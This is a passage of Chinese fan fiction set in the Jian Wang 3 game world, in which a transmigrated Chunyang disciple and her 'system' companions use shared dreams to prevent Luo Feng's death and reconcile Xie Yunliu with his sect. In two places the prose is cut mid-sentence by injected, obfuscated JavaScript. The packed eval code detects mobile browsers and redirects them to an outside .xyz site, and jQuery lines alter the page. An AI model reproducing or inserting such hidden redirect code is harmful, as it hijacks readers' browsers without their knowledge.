李忘生也道:“长生拉祁师弟一起出面救下静虚弟子,或可对昔日静虚所遇不平事弥补一二。外敌当前,祁师弟态度已然有所转变,我等亦已从此番奇遇中窥得半分天机,必不会令悲剧重演。现在……便只差大师兄了。” 说罢,二人同时看向洛长生,李忘生提醒道:“长生啊,你的新手任务……” 李忘生就见那张与他相似的面庞上露出一丝生无可恋之感。 山石道人上下打量了洛长生一番,摇摇头笑道:“虽也是天纵之才,然云流已有数十年积淀,以常理胜他,自是艰难,但天无绝人之路,长生亦有优势。” 他的目光落在了被长生捧在手心的鸟儿身上,沉吟道:“既然那鹦鹉可暂时代管长生另一具躯壳,若所谓系统当真脱胎于……咳咳……表面上一魂双体,实际上却可为三魂四体。” 李忘生若有所思,补充道:“或可由原本双魂使用系统武学,长生用那百战招式,亦可于江湖遍采所长,且我纯阳武学精妙,非系统武学所能比拟,长生若日后能勤修苦练,又有那双魂从旁辅助,未必不可与大师兄一战。” “不错,不错。”山石道人拊掌大笑,“如此才最有趣。来,长生——” 长生后知后觉明白了吕祖和掌门的话——他们这是在点拨她该如何击败自己的师傅? 她走到吕祖跟前,只觉得那双仙人之手又落到她发顶,似有一暖融融光团与她眼前飘过,钻进了酣眠的小鸟体内。 李忘生盯着那鸟儿瞧了一会儿,附耳同吕祖说了什么,却惹得吕祖哈哈大笑:“这不是挺好的吗?忘生啊,你已过了知天命之年,竟还会拘于皮相吗?罢了罢了,难得你开口……长生啊,你可喜欢仙鹤?” 仙鹤嘛,谁不喜欢?纯阳的门派跟宠还是仙鹤呢…… 长生自是点头,却见吕祖一根手指落在她手中肥啾身上,那原本酷似李忘生的鸟竟渐渐变成了一只毛茸茸的仙鹤幼崽,煞是可爱,但……原来掌门是这样的掌门。 却见吕祖望着她,含笑道:“忘生竟也拘于皮相,倒不知长生娃儿可有阴阳之惑……罢了,不若由你自由变换……” 就在这时,那仙鹤幼崽动了动,竟是醒转过来,许是甫一睁开眼便见周围几个巨人将它团团围住,惊慌之下连连挥动翅膀,不知怎的竟直接落了个“镇山河”。 “哟,不错不错,剑气双修,是个好苗子。”吕祖连连点头,笑容格外慈祥,又忽地皱起眉,掐指一算,道,“时间将尽,也当去瞧瞧那对痴儿了。” 语罢,他抓住李忘生与长生手腕,顷刻间一行人便落到一处悬崖边。 看到这分外眼熟的情景,洛长生心里陡然一惊,与此同时,一个慢吞吞的稚嫩声音也在她脑海中响起:“侠…士…得…吕…祖…点…化……糟…了…公…主……”* 洛长生惯常无波无澜的嘴角忍不住抽出两下:“系统真名李疾风?” 那声音依旧慢吞吞的:“李…疾…风……是……金…虚…师…弟……” “崽,别说了。”洛长生无奈扶额。 “公……主!!!” 伴随着仙鹤幼崽的啼鸣,洛长生只觉眼前一道身影闪过,郁清公主和李慕云竟还是先后从那悬崖一跃而下! “?”洛长生满眼惊愕,面上尽是难以置信的茫然,她不明白,神策之围明明已解,罪魁祸首也已伏诛,为何公主与李慕云仍是落了个双双殉情的结局。 她一记蹑云冲到崖边,恰见一道身影托着二人从崖下飞身而上,面沉如水,正是祁进。 山石道人长叹一声:“痴儿……痴儿啊……” 李忘生也叹了口气,又道:“幸好师傅早先安排祁师弟在崖下相候,竟是料到他们会……” 祁进沉着脸将这两个大难不死之人扔在地上,强忍着怒气问道:“未到山穷水尽之时,何以这般轻易寻死?” “进儿。”山石道人上前一步,止住了祁进的质问,望着那对劫后余生的有情人,叹道,“既是生死都可抛之脑后,又有何事不可为之?郁清啊,你仍是未曾堪破……” 郁清公主泪如雨下,闻言颤抖着唤了声“师傅”。 “师傅,郁清自知这般行事会令您伤心,然而……郁清自幼生长于宫中,是世人眼中金尊玉贵的公主,可是自从郁清晓事,便常觉自己不过是一根摇摇欲坠的风筝,永远也飞不出长安城,永远也得不到心中所求。后来……” 公主泪眼婆娑地看了眼李慕云:“后来蒙上天眷顾,竟有幸遇见云哥,又得父皇赐婚,满心欢喜待嫁之时,便觉得自己不再是风筝了,而是一只可以飞跃城墙,从此天高海阔的鸟……怎奈何奸人作祟,一朝梦醒,伤心欲绝之时却连自己的心意都要被迫更改……” “父皇或许觉得为我再觅良人乃是慈父心肠,可郁清不愿……”她的声音颤了颤,“但我却连出家避世都不能选。能在纯阳得两位师傅庇护,已是此生之福,可我亦知晓,这不过权宜之计……郁清身份如此,父皇亦盼我出嫁,自是有杨叶中之流不择手段……” “此次祸乱,郁清尚无所觉,却已做了那杨叶中诱杀云哥的饵,亦为纯阳招致大祸,实非我心中所愿……如此苟活于世,不能与爱人相守,亦无法得到自由,反而只会成为祸源……倒不如一死,彻底舍了这万丈红尘。” 她抬手抚上李慕云的脸:“只是郁清未曾料到云哥待我至此,竟会随我一起……” 李慕云抱着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只听见曾经的郁清公主说:“更名改姓……若不姓李,我想……姓江。我自幼丧母,父皇……父亲鲜少提及生母,之后是梅妃将我当成自己女儿抚养,只可惜……至于名字……‘扶摇’如何?” 风筝为线所牵绊,飞鸟难免困囚笼,若论自由,唯有这天地间的清风。 一旁的李慕云痴痴望着她:“扶摇……我这姓名本就因你而改,既如此,日后,我便叫‘江慕风’吧……” 从此世上再无李郁清与王云慕,只有江扶摇与江慕风。 山石道人颔首:“《庄子》有言:‘鹏之徙於南冥也,水击三千里,抟扶摇而上者九万里。’《抱朴子》亦有言:‘灵乌萃于玄霄者,扶摇之力也。’只愿徒儿此去,有扶摇之力,纵凌云之志,山高水长,千万珍重。” 他亦望向旁边的何潮音,只见她眉目间尽是洒脱,也道:“师妹,珍重。” 何潮音对他施然一礼,便带着徒儿飘然远去,再未回头。 洛长生跟几位师叔站在一处,目送三人远去,终是忍不住长出了一口气。 祁进看她一眼:“为何叹气?” 长生捂着一侧脸颊答道:“牙酸。”啧,这位也是恨海情天的主,关系可比先前几对还要复杂……幸好这人不会读心术,不然她免不了被祁师叔严惩。 如吕祖所言,他这五徒弟紫虚子性情刚烈,为人正直,被长生连拖带拽救了一众静虚弟子,事后得了不少或别扭或诚恳的道谢,又兼被师傅开解,加上那点“绝不愿承认对静虚旧事耿耿于怀其实是因为尊敬大师兄”的心思,近来风波平息,正以身作则向静虚一脉赎罪呢。 由他这个做师傅的带领,紫虚一脉一反常态,倒惹得聂冲等静虚弟子心中惶恐,已私下里找洛长生试探了无数次,搞得长生也颇为头疼。 奈何吕祖本人和其他几位师叔似乎都觉得这情景过分喜人,纷纷无视了她求助的眼神,现在诸位师长都在,长生想了想,干脆道:“我要下山。” 祁进问:“年关将近,你下山要去做什么?” 长生答道:“找大师兄。” 吕祖摸了摸胡子,明知故问:“长生啊,你已经知道风儿他们所在何处了?” 洛长生点点头:“寇岛,日轮山城。” 不等吕祖说话,祁进主动开口:“师傅,我与长生同去,定把他们几个安全带回,若是……”若是探得谢云流行踪,要是他肯回来解除误会…… 哼,那便回来吧。 17.噩梦醒觉心生乱 谢云流终于又做了那场怪梦。 从大约三个月前,他便总会在睡梦中出现在同一个地方,四周皆是滚烫的岩浆,他则只身站在岩浆中央的平台上。 谢云流知道这个地方,宫中神武遗迹,但他却并不知晓自己为何身在此处。 他也并非一开始就意识到自己在做梦,也并非次次都能记住梦中所见,可若是这场梦几乎夜夜发生,他哪怕是块石头,大概也能察觉不对了。 更不必说,梦的内容大多重复——只要他站在原处等待片刻,便会有两个鬼祟之徒悄悄靠近,先躲在一处岩石后不知嘀咕些什么,而后在某一时刻,那二人会同时拎着刀兵冲上来。 起初,他们只会横冲直撞,一道最简单的刀气都能直接将其砍翻,后来或许知道了何为以卵击石,倒是变了袭击策略。 然而弱者并不会因多了分谋略就变为强者,想要胜过他,实在自不量力。 不过这两人倒是足够坚韧,且每次被他重伤,似乎总有神通帮他们瞬间转移到遗迹入口。 有时候,他们会在迅速调息疗伤后卷土重来,仿佛半刻钟之前完全不曾重伤过;也有时候,他们不会坚持,那也就意味着这一晚的怪梦就要结束了。 如此反复近百次,谢云流都要惊异于自己对这两人不同寻常的宽容与耐心,然而这种情绪于他而言本就十分古怪,哪怕他并未从对方身上察觉急于置他于死地的杀意,他们似乎只是想打败他。 然而这二人藏头露尾,纵然绝不是他的敌手,却也令谢云流不敢轻放。 于是,几日前再度入梦时,当那两人被他重伤,又从他面前消失后,谢云流立刻朝遗迹入口飞身而去,并在两人猝不及防之时抓住了其中的矮个子。 那两个小贼对此毫无防备,完全没料到他会追上来,谢云流轻易得手,却僵在了原地。 原因无他,只因那被他抓着后颈拎起来的少年,有一张他最熟悉也最陌生的脸。 不,还是有差别的……那张脸,和他记忆里的师弟……然而,即便谢云流自己也无法笃定,那些被埋葬了几十年的记忆还是否可信。 它们原本是他人生中最美好的一段,却尽数毁于景龙四年的秋天。 谢云流对着那张脸,脑海中似乎空白了一瞬,手上力气也不由松了几分。 等他回过神再想追问,下一秒却从梦中惊醒过来。 生平第一次,他有了希望这个怪梦继续下去的念头。 然而此后数日,他都不曾在梦中回到宫中神武遗迹,自然也就不曾再见过那个少年。 也许让中原武林闻风丧胆的东洋魔剑早就心魔缠身,自他弱冠之年乍然听闻师傅师弟密谋要将自己交出去时,从十余年恩情亲情一夕尽断之日起,便早已走火入魔了。 即便此后纵横东瀛,潜心修炼,武学大成,重返中原,属于谢云流的一部分也早就丢失在二十岁那年,甚至于当年之事可有误会,都成了他不敢触碰的思想禁地。 而现在,他再次站在宫中神武遗迹的平台中央,令人烦躁的怪梦仿佛周围炽热的岩浆,将那片禁地上用来埋葬过往的枯枝烂叶全都燃成了一把火,似乎不将那点掩耳盗铃的心思烧个精光就绝不会熄灭。 “那便来吧。”谢云流握住刀,“总要做个了断。” 梦里的谢流岚与洛长生自然并不知晓宗主/师傅这些天里的繁复情绪,尽管已经失败近百次,但这一次,两双眼睛里却都不再是过去的敷衍与颓然。 洛长生得了吕祖指点,虽未来得及精进纯阳武学,却也思索了无数套百战技能的搭配,这个梦并不像游戏会限制百战技能数目,她可以随意使用任何已经到达十重的技能。 加上剑气双修可以自由使用武学系统的鹤崽,和本身就武德充沛的小鹦鹉,三魂四体围殴师傅,成功的机会总比之前高上许多。 “这次只是第一次试验。”她对还未搞清楚状况的九州百人语解释。 九州百人语却十分不满地指着仙鹤幼崽:“为什么他可以以这种状态用技能,我就必须操控谢流岚的身体?虽然谢流岚本来就是……但是这不公平!而且他还换了新外观!” 仙鹤幼崽险些被鹦鹉翅膀扇一个踉跄,晃了晃才慢悠悠地开口:“等过段时日请吕祖点化你一番便是……新外观?皮囊只是表象,你若想要……” 短短一句话说了足足半分钟,九州百人语拿一双茫然又惊恐的豆豆眼看着仙鹤幼崽,往后跳了一大步,差点缩进洛长生怀里,尖叫道:“这谁啊?这谁啊?” 这绝对不是我那个总是笑得很和蔼脾气很好就是有点啰嗦的同事! 仙鹤幼崽也委屈巴巴地看向洛长生。 长生无奈地扶住额头,破天荒说了一大段话:“之前的李忘生啾其实是掌门师叔借吕祖仙力假扮的,鹤崽才是你本来的同事,他性子温吞,说话……有些慢,鹦崽你多担待。” “鹦崽?”九州百人语抖了抖,对这个称呼感到一阵恶寒,“我才不要跟这个小东西叫一类名字!本大爷的称呼必须独一无二!” 洛长生一时失语,无奈看着他:“鹦哥?大爷?” 九州百人语矜持地点了点头:“鹦哥。” 长生松了口气,直接换了话题:“谢流岚处,情况如何?” 对有两个马甲的她而言,秘境之中也不失为交换情报的安全场所,毕竟她试验过,秘境中的其他人物都只能听到原本剧情对话,因而她才敢跟系统在谢云流不远处大声密谋。 九州百人语昂首挺胸:“本大爷出马,自是万无一失,除了陶寒亭这个意外……咳咳,自从联手杀了宋南天父子,救下方紫霞,又一起躲避神策追杀之后,陶寒亭他们和我一道救下了方一琳和澄缘大师,杀了那伙蝙蝠帮的歹徒。” 嘿嘿,他又一次听到方一琳说“你就是我的大侠”了呢! 不过想到这里,向来一副骄傲模样的鹦鹉难得耷拉了翅膀:“可是我在想,如果安史之乱不可避免,方一琳会不会依然……我想带她走,可她毕竟有家人。” 而且因为他现在是作为系统存在,虽然可以根据侠士的基本设定实时调整对“谢流岚”这具身体的设置,但毕竟都是些最简单的指令,连话都说不全,在外人眼中便是武功高强可惜智力有瑕,根本没办法让方嫂安心…… 他还想过让陶寒亭和方紫霞带方一琳走,教导她读书习武,方紫霞也确实喜欢一琳这孩子,可万一陶寒亭他们最后还是加入了恶人谷,方一琳难道也要一起吗? 长生知道了他的纠结,思索片刻后直接道:“问她自己吧。” 鹤崽也积极加入进来,想帮长生详细解释一二,可惜话说得太慢,又被鹦哥嫌弃了。 不过最终意思已经明了,鹦哥确认道:“你是说,让我把几大江湖门派的信息告诉她,由她自己选择,而我可以护送她前去拜师?” 洛长生点点头,但愿从今往后,一琳可以循着自己选择的道路,成为她所憧憬的大侠。 虽然在原本的轨迹上,她已然有了颗炽热光亮的侠义之心,但那个结局……太过惨烈。 三魂四体在这梦中秘境大肆畅想方一琳的美好未来,远处的谢云流却渐渐没了耐心,也困惑于那两个“小贼”为何这次久不现身,且他还要担心自己如果像上次一样突然袭击或是开口质问会将那两人直接吓跑……除了等,似乎也没有别的法子。 他合着眼立在原地,脑海中鬼使神差闪过一个念头,如果在梦里败给这二人,又会如何? 于是,等长生一行起手攻向他时,谢云流有意无意将自己的功力压了几成,一道剑气击中他身体的瞬间,无论是攻击者还是被攻击者,皆齐齐愣了一秒。 谢云流敏锐地察觉到,这道剑气的命中不只因为他有意放水,还因为袭击者中似乎多了一道身影,在他看清那道身影的瞬间,却觉得这梦愈发古怪了——谁家仙鹤幼崽挥挥翅膀就能一手两仪化形一手三环套月的?他此前遇见的最有灵性的小猴,也无此等功力。 怔愣的片刻工夫,后方两侧又分别有一道身影冲将上来,一人手握横刀,抬手便是一刀灭影追风,另一人手中执剑,飞身而起向他劈来,竟在眨眼间移至他身前。 “有趣。”谢云流提刀挡下这势如雷霆的一击,却立即察觉情况有异,登时闪身离开地面莫名出现的焦土,只眼中多了几丝兴奋。 “黑煞对他无用。”洛长生高喊,回身便是一记帝骖龙翔——真正的谢云流不会乖乖站在原处任凭体力被消耗,但帝骖龙翔对精力的打击确实实打实的瞬发。 有了!她只见被不肖徒围殴的谢云流晃了一晃,未及惊喜过一秒,便被一刀砍去大半血条,险些当场殒命,再不敢轻松半分。 而在谢云流眼中,便只是嘴唇一张一合,却令他听不见半句言语。 他在心中轻哼一声,些许进步便如此洋洋自得,激战之时如此轻易分心,若是他的弟子,如此表现,定要严惩…… 长生忽然打了个哆嗦,心里生出一种不祥的预感,也让她顷刻间冷静下来,也意识到了谢云流的异样。 难道梦里的师傅这一次是有意再给她放水? 她不由想到上次落荒而逃时的情景……呃,该不会掌门的脸真有这么大的杀伤力? 但无论如何,对她而言,这是绝佳的机会。 尽管战胜宫中神武遗迹秘境中的谢云流并不会帮她完成自己的新手任务,但只要她能成功按游戏设定将谢云流的血量削减到60%,就可以触发之后的剧情…… 也就是,洛风之死。 大约三年之后,为解开当年误会,李忘生与谢云流约定在寇岛宫中神武遗迹见面,澄清当年真相,还邀请了各大门派名宿同往,欲向整个江湖洗清谢云流欺师灭祖叛出门派的罪名。 怎奈东瀛人为阻止谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424727|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云流离开东瀛回归中原而从中作梗,秘密传书几位名宿,诬陷谢云流假意求和,实欲借机对李忘生及各派人士不利,并安排一刀流刺客埋伏来探查的各派弟子。 各派遭遇埋伏,又有密信在先,自是怀疑到谢云流身上,同他发生冲突,反倒让谢云流误会李忘生和谈是假,欲置他于死地方为真。 新仇旧恨齐齐涌上心头,雷霆之怒已生,双方自是不留情面地争斗起来……也就是现在! 谢云流只觉得今夜这两个小贼似乎格外英勇,他还记得自己那个鬼使神差的念头,放任之下竟真叫长生渐渐得逞,直到他的意识似乎恍惚了一瞬,身体竟不受控制地自己动作起来,而这一招对方必然无法招架。 就在这时,一道人影忽然落到他们之间。 玄剑化生势,一剑镇山河,那人鬓边生了白发,脸上已有皱纹,只眉间一点红痣清晰可见,仿佛昨日。淡蓝气场生于足下,将先前袭击他的几人围在其中,相护之意格外分明。 李忘生高呼道:“大师兄,莫要再犯大错!各位侠士,此招不可力敌!”* 又有一众身着纯阳道袍之人站在李忘生身后,一人口中怒斥“谢云流,休得依仗纯阳宫武学逞凶”,一人口中喃喃“云流师兄……”,还有几个年轻弟子高喊“师傅”…… 谢云流心中震动,一时竟酸涩难辨。 这些人大多与他素未谋面,却又有剪不断的关系,纯阳五子之名早已名动江湖,他的风儿也已长大成人,似乎还代他为静虚一脉收了不少弟子…… 不想数十年前一别,再相逢竟是梦中。 人群中另有几个未着道袍的身影,谢云流定睛一看,皆是当今武林各大门派的名宿,只是不知为何到此。 洛风走出人群,对他高喊:“师傅,掌门师叔到了!且停战听他们说说吧。”* 说什么呢?谢云流不知。 他只听见自己异常恼怒的声音:“好、好、好,纯阳宫五子齐至,看来今日你们是想凭这纯阳剑阵留下谢某了!?”* 纯阳与他之间,竟已到不死不休的境地了吗? 却听李忘生温声道:“大师兄,你离开华山多年,师傅和我都时常思念于你,今日忘生请了各派同道来此,便是想请他们为当年之事做个见证。”* 那几位名宿亦是附和点头。 这番话,谢云流是想信的,亦或者,在这场古怪的梦里,他做了对自己坦诚的决定,便不得不承认这点久埋心底却从不敢提的期冀。 误会消解,重归于好,他不再是纯阳叛徒,亦不再是中原武林公敌……呵,只有最天真无邪的孩童才会相信这般黄粱美梦能够成真。 可他偏偏无法彻底否认那份幻想的存在。 但他的身体全然不受控制,竟犹自怒道:“李忘生,你这貌似忠厚的奸诈小人,当年便是如此蛊惑师傅,害得我叛下华山,远走东瀛,今日又将我藏身之事泄露给他人,你可还有话说!”* 这分明不是他想说的话!他只想问清当年真相,将是非黑白都说个分明,也好彻底抹杀那份几乎成为心魔的执念。 他的确等来了解释,他听见师弟诚恳道:“大师兄,当年我找师傅密议之事,乃是为你找寻脱难之法,并非是要将你交给朝廷,你只听得片言只字,着实乃是误会了,这些年来我时常思量此事,以至两鬓生霜,只盼有一日能与师兄说个分明,师傅也为此难过得紧。”* 然而梦里的他却又似当年一般,走火入魔,听不进李忘生半分辩解。 几乎所有人都在拦他,却都无济于事,直到他说出无可挽回的话,指责李忘生奸人背刺,那纯阳五子中有一年轻道人再也无法忍受,被他骂了句“狗腿子”后拔剑跃出,口中高喊:“便让你尝尝祁某之剑利否!”* 那剑招凶狠果决,分明带了怒极之下的杀心。 谢云流正想闪身避开,一道身影却在剑光将至之时挡在了他的面前。 殷红的血溅了他满身,分明只是温热,却如火星般灼痛了他的灵魂,让他不可自抑地颤抖起来——他行走江湖数十载,早已分辨得清何种伤口能够致命,可是现在,那样的伤口出现在了他的徒儿洛风心口。 那一刻,谢云流几乎不想考虑眼前一切是否梦境,悲痛与愤怒攫取了他的灵魂,他只想一刀砍死重伤洛风的罪魁,让他以命偿命。 可是在他动手之前,怀中渐渐虚弱下去的洛风却拉住他的衣袍,用尽最后气力道出了自己的遗言:“师傅,切莫动手,徒儿觉着今日这事甚是蹊跷……莫要中了他人之计。”* “徒儿一生只为师傅而生,只望我死之后,师傅莫要让刀宗的门下,再让别人欺负……”* 洛风最后的话语犹在耳畔,剑光血色亦仿佛仍在眼前,谢云流从梦中惊醒,暂居之地的竹林中,刀光纷繁,一夜未停。 西至华山东至寇岛,月黑风高夜,多人难成眠。 18.道同道异各自安 自华山快马加鞭至淮扬,再乘渡船往寇岛,将抵目的地之时,已是寒冬腊月,然而海上温度却并非严寒,越近寇岛反倒越生出一股温暖之意。 但这温暖,与甲板上默然伫立的祁进毫不相关,只因近来他似乎总是在做同一场梦。 那梦过分真实,以至于他时常望着自己的双手出神,仿佛上面还沾着洛风温热的血。 洛长生打着呵欠从船舱里走出来,一看祁进脸色便猜到对方绝对记住了宫中神武遗迹的剧情。说实话,她也没想到上船第一晚的尝试竟然成功将师傅谢云流的血量削到了60%,而且从那天以后再入梦,谢云流几乎变成了任她攻击的木桩。 她只能一边在心里敬告三清自己绝无欺师灭祖之心,一边毫不留手地甩着技能,只为能反复触发宫中神武遗迹的剧情,好让梦境得以重复数次,令梦中之人皆对此事有所警醒。 秘境里谢云流的放纵无疑证实了梦的效果,如今祁进也明显记住了这场本会发生的悲剧,不管他们哪个人有所改变,大师兄的性命总能保下了吧…… 无论如何,长生都准备停手了,过犹不及,万一重复太多次,惹得谢云流大发雷霆,反而生了提前结果祁进以遏制悲剧的念头,她恐怕要沦为分裂纯阳的千古罪人。 听见她的呵欠声,祁进回头疑惑道:“不是刚晨起,为何依旧如此困倦?自登船以来,你整日待在船舱里,不让任何人打扰,又是在打什么鬼主意?” 长生沉默一秒才答道:“晕船。” 祁进狐疑地打量着她,从那张一贯面无表情的脸来看,自是难辨言语真假,末了他便只是皱眉问道:“为何不早说?” “要找大师兄。”长生只道,“我回去了。” 实则是每日在祁师叔面前刷脸打卡结束,她就会切换至谢流岚视角。 扬州乘船到寇岛需要些时日,漂泊海上无事可做,反倒是谢流岚那边,事关陶寒亭一行和方一琳的将来,她总是放心不下。 谢流岚亦是刚刚起身,推开房门便发现门口立着个娇小瘦削的身影,还背着个小包袱。 方一琳见她出来,咧嘴笑道:“谢大侠,我准备好啦,我们什么时候动身?” “你娘同意了?”谢流岚不由问。 方嫂只这一个女儿,平日百般疼宠,听得一琳想跟她离开家去闯荡江湖,自是十分不愿。 更何况谢流岚外表横看竖看都是个风流俊俏的翩翩公子,就算对一琳有救命之恩,也难免有诱拐无知女童之嫌,方嫂如何敢放心将女儿托付给他? “方姨和陶叔叔跟我娘说过啦,而且小妹也要一起走,我娘只当我是跟他们一道。”方一琳眨眨眼,“大侠可千万不要说漏嘴。” 想到安史之乱爆发后,方家母女的未来,谢流岚纵是觉得说谎不好,也没能反驳。 一琳反过来安慰她:“大侠放宽心,等我成功拜入师门,再给娘写信告罪,不会有事的。啊,对了,陶叔叔和方姨说今晚要在酒楼请我们吃饭,你可要记得哦!我、我还有些话要和叮嘱鞠松,就、就先不跟你说了……” 鞠松和一琳青梅竹马一起长大,听说一琳要出去闯荡,自己也生了一同离家的念头,但最终还是被家里人按了回去,只能在一琳离开前每日眼泪汪汪地缠着她。 谢流岚看着女孩离开的背影,不由失笑。 是夜,她循着店小二指引来到酒楼雅间,就见陶寒亭、方紫霞这对眷侣正临窗对酌,看上去颇为风雅,一旁支着张矮桌,方一琳与楚小妹两个小脑袋凑在一起,正悄悄嘀咕着什么。 见她过来,四人都站起身,笑着同他问好。 谢流岚在陶寒亭对面落座,先举起酒杯告罪:“是我来迟了。” “无妨,贤弟不必如此客气。”陶寒亭摆摆手,又关切道,“可是你那失魂之症又犯了?” 谢流岚顿了一下,无奈点头。 先前只说她自打来到洛阳,便几乎一直与陶寒亭夫妇一道行动,偏她魂魄多在洛长生处,谢流岚则大多遵循基础设定,又由鹦哥从旁代管,但行事多少有些异于常人,无奈之下只好寻了个“失魂之症”作为借口。 陶寒亭长叹一声,又与他斟酒:“谢贤弟少年英才,武艺卓绝,却偏偏有此病魔缠身,可见天道不愿见人圆满,总有种种遗憾……罢了,陶某失言,吃酒,吃酒。” 一旁的方紫霞秀眉微蹙,也道:“谢大侠罹患此症,不知世间可有解法?秦岭万花有药王前辈坐镇,许是对此症有所了解呢……” 谢流岚摇摇头,言简意赅道:“并非寻常病症,需求灵丹妙药,故而欲上华山。” 陶寒亭与方紫霞对视一眼,干脆坦然道:“实不相瞒,贤弟此症实在令人忧心,万一途中发病……因此我二人商议过后,决定不如与贤弟一并往纯阳宫走一遭。” 谢流岚愣了愣,反问道:“陶大哥不是本想南下?” 陶寒亭饮了口酒,叹道:“我与紫霞以往虽在江湖上小有名气,但经宋南天一事方知‘白衣孟尝’只是虚名。陶某空有急公好义之心,武艺却并不出众,此番若不是谢贤弟及时出手,只怕……因而才在这般年纪又生精进武艺的念头。” 方紫霞接过话头:“可话又说回来,我二人已到这般年纪,更深知拜师学艺讲究缘法,多方游历一番未尝不是好事。况且此番能早日摆脱神策追兵,多少也托了纯阳宫的福。” 若非那神策武骑尉杨叶中在纯阳作乱,对公主图谋不轨,圣上大约也不会盛怒之下令神策军严整军纪。宋南天恰好撞在刀口,此番身死,哪怕是宋南天那义父高力士高公公也不敢大张旗鼓地派神策军追杀他们。 “此种缘由虽不便言明,但既然恰巧有此机会,不去华山拜会似乎也颇为可惜。”方紫霞说罢,又笑道,“况且年关将近,便是往纯阳祈福,倒也不虚此行。” 话说到这份上,谢流岚自然也是笑了笑,欣然期待之后继续同行。 三人举杯共饮,陶寒亭不由笑叹:“此前一路奔波逃亡,鲜少有能对月畅饮,把酒言欢之时,今次多少也要喝个畅快。” 谢流岚悄悄看了方紫霞一眼,却见对方冲她微微摇头,只由着陶寒亭去了。 借酒消愁愁更愁,陶寒亭渐渐酒意上涌,倒是让谢流岚明了他心中郁结所在。 “听闻恩师梁师道近日在试图说服洛阳太守将宋南天父子所行恶事尽数上报……呵,此前宋南天作恶,情况最为危急之时,我登门恳求却被恩师拒绝,只一味劝我忍让……” 身为弟子,不便于人后道师长是非,然而陶寒亭言外之意,方紫霞与谢流岚心照不宣。 方紫霞安慰道:“此番也算是教我二人尝遍人世冷暖,方知何为锦上添花易,雪中送炭难。世情如此,寒亭,莫沉溺于愤懑之中,只需知晓我们与他并非同道之人便罢了。” 谢流岚亦道:“塞翁失马,焉知非福。” 早日认清梁师道为人,未必是件坏事,需知若按原本剧情,安史之乱后洛阳沦陷,梁师道表面上大义凛然,似乎一心为镇民谋求活命之路,暗地里却完全投靠了狼牙督军,被狼牙任命为风雨镇镇长,还通风报信害死了无数反抗义士。 陶寒亭此人最是急公好义,原本时间线里,他日后靠杀戮以正不平事,且杀了许多表面伪善、暗地里作奸犯科之辈,被江湖之中不明真相者误解,“白衣孟尝”最后成了“黑鸦”。 而若以“黑鸦”行事,梁师道这类道貌岸然之徒恐怕最是令他厌恶。 见妻子兄弟皆出言安慰,陶寒亭心中亦十分慰藉:“甚是。殊途之人,何必强求?吾自有吾之道,但求无愧于心。” 三人开怀畅饮直至深夜,方一琳和楚小妹皆已困倦得睁不开眼,这才散去,只约好次日辰时出发,往华山去。 方一琳这晚和楚小妹一起睡,谢流岚一个人出了酒楼,方才察觉自己有些头晕,头像下方也不知何时多了个“醉酒”的状态。 鹦哥一翅膀呼到她脸上,不留情面地数落道:“酒量这么差,就别端着酒碗当水喝,现在这世道又不安全,你刀宗技能用得还没我熟练……” 谢流岚只觉得很吵,愣愣地捂住耳朵,却发现无济于事。 鹦哥大声嘲笑:“昏头啦,昏头啦,大爷在你脑袋里跟你说话,你捂耳朵也没用!” “逆子。”谢流岚在脑海中晕乎乎地反击。 鹦鹉对着她的头发一顿乱啄:“说谁呢!醉成这样,还不如早点回那边去,一只鸟走得都比你稳。” “关心我……就直说。”谢流岚面无表情地调侃。 忽然,一股毛骨悚然的寒意沿着脊背攀上头顶,谢流岚一个激灵,瞬间清醒几分,却见焦点列表里赫然多了一个名字,不是她那好宗主又能是谁? 鹦鹉也炸着毛,在她脑袋里高呼:“宗主在看我们!他是不是认出来了?千万别露馅!” 谢流岚努力维持原状,东倒西歪地蹒跚在空旷的路上,俨然一幅醉汉模样,只希望谢云流将她视为一名寻常路人……开玩笑,要是被宗主发现自己是这几个月来扰他清梦的罪魁祸首,落到他手里还不知道会怎样呢! 偏偏这时,她听见利刃出鞘的声音,紧接着,一个圆形物体从身后向她袭来。 谢流岚下意识便是一记蹑云,却发现那圆形物体似乎是……呃,一个钱袋。 她不由摸了摸自己腰侧,这才发现挂在腰带上的绣囊竟不知何时不翼而飞,慌张接过钱袋后冲谢云流道了声谢,以为他并未认出自己,便继续往前走了。 不料刚迈出一步,原本在她身后的宗主便已移至身前,持刀挡住了她的去路。 “还想跑?”谢云流皱眉盯着她,“只有你一个?” “我不明白阁下……” 九州百人语发出一声刺耳的大叫,雪亮刀刃已横在谢流岚颈边,再进分寸便能血溅当场。 她小心翼翼地看了谢云流一眼,整个人忽地向后倒去。 谢云流心下一惊,抬起刀鞘捞住她的身体,却发现这人竟已完全失去意识,但只过了片刻,那双眼睛便又睁开,只是这一次里面少了几分光彩,整个人也呆呆的,仿佛一个木偶。 “你对谢贤弟做了什么!”刚赶过来的陶寒亭警惕地拿剑指着谢云流,面上也有几分醉意,“方才谢贤弟刚出酒楼你就跟了上来,方才还拿刀威胁他,你……究竟是何人?” “又一个醉鬼。”谢云流嗤笑一声,“我二人私怨与你何干?他自己有病,关我何事?” 靠鹦哥探听着此处动静的谢流岚:……真是谢谢你啊,宗主。 方紫霞蹙着眉,拦住剑拔弩张的二人:“这位前辈,谢贤弟侠肝义胆,不知因何得罪了前辈?其中或有误会……他确有病症在身,可前辈如此言语,未免过分。” “他也姓谢?”谢云流眉梢微挑。 陶寒亭怒道:“你连他姓甚名谁都不知,还说有私怨?” 